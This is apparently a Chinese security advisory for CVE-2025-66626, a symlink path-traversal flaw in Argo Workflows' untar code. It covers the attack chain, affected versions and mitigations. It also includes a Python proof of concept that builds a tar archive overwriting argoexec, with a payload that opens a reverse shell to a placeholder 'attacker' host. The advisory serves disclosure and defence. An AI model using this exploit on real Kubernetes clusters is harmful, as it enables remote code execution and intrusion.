IPBUF安全漏洞报告
English
CVE-2025-66626 CVSS 8.1 高危

CVE-2025-66626 Argo Workflows符号链接解包漏洞导致远程代码执行

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-66626
漏洞类型
路径遍历/符号链接攻击/远程代码执行
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Argo Workflows

相关标签

Argo Workflows符号链接攻击路径遍历远程代码执行容器安全Kubernetesuntar漏洞CVE-2025-66626

漏洞概述

CVE-2025-66626是Argo Workflows中存在的一个高危安全漏洞。该漏洞源于不安全的untar代码处理归档文件中的符号链接。具体问题在于符号链接目标的计算和后续安全检查存在缺陷。攻击者可以通过构造包含恶意符号链接的归档文件,覆盖目标系统上的/var/run/argo/argoexec文件,从而在Pod启动时执行任意脚本代码。值得注意的是,针对CVE-2025-62156部署的补丁无法有效防御包含符号链接的恶意归档文件。Argo Workflows是一个开源的容器原生工作流引擎,用于在Kubernetes上编排并行作业。CVSS评分8.1,属于高危漏洞,攻击复杂度低,无需特殊权限即可利用,对系统完整性和可用性造成严重影响。

技术细节

漏洞根源在于Argo Workflows的workflow/executor/executor.go文件中处理归档文件的代码逻辑存在缺陷。当提取包含符号链接的tar归档文件时,系统对符号链接目标的验证不充分。攻击者可以创建符号链接指向/var/run/argo/argoexec文件,并在归档中放置恶意脚本替代原始文件。由于符号链接解析和文件覆盖检查的时序问题,系统会在解包过程中错误地覆盖argoexec二进制文件。由于argoexec在Pod启动时会被执行,攻击者可以实现容器内任意代码执行。攻击者需要具备创建工作流或上传归档文件的低权限,这使得漏洞利用门槛相对较低。修复版本3.6.14和3.7.5通过改进符号链接处理逻辑和加强安全检查来解决此问题。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意符号链接的tar归档文件,符号链接指向/var/run/argo/argoexec
STEP 2
步骤2
攻击者将恶意归档文件作为工作流输入上传到Argo Workflows系统
STEP 3
步骤3
Argo Workflows的工作流执行器(executor)在解包归档文件时处理符号链接
STEP 4
步骤4
由于符号链接目标计算和安全检查存在缺陷,系统错误地覆盖/var/run/argo/argoexec文件
STEP 5
步骤5
当Pod启动时,被替换的argoexec脚本被执行,攻击者实现任意代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import tarfile import os import io def create_malicious_archive(): """ Generate a malicious tar archive containing a symbolic link that points to /var/run/argo/argoexec and a payload script. """ # Create a malicious payload script payload_script = b'''#!/bin/bash echo "Malicious code execution" >> /tmp/pwned.txt /bin/bash -i >& /dev/tcp/attacker/4444 0>&1 ''' tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w', format=tarfile.PAX_FORMAT) as tar: # Add a file that will overwrite argoexec via symlink info = tarfile.TarInfo(name='argoexec') info.type = tarfile.SYMLINK info.linkname = '/var/run/argo/argoexec' tar.addfile(info) # Add the malicious payload with the same name # This will be written when symlink is followed info2 = tarfile.TarInfo(name='argoexec') info2.size = len(payload_script) tar.addfile(info2, io.BytesIO(payload_script)) return tar_buffer.getvalue() # Usage: Upload this archive as workflow artifact malicious_tar = create_malicious_archive() print(f"Generated malicious archive: {len(malicious_tar)} bytes") print("Upload this archive as workflow input artifact")

影响范围

Argo Workflows <= 3.6.13
Argo Workflows 3.7.0 - 3.7.4

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制用户创建工作流的权限,确保只有受信任的用户可以提交工作流;2) 对上传的归档文件进行预先扫描和验证,检查是否包含符号链接;3) 使用Kubernetes安全上下文限制Pod权限,阻止对/var/run/argo目录的写操作;4) 启用Argo Workflows的审计日志功能,监控异常的工作流执行行为;5) 考虑使用外部安全工具对工作流工件进行安全扫描。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表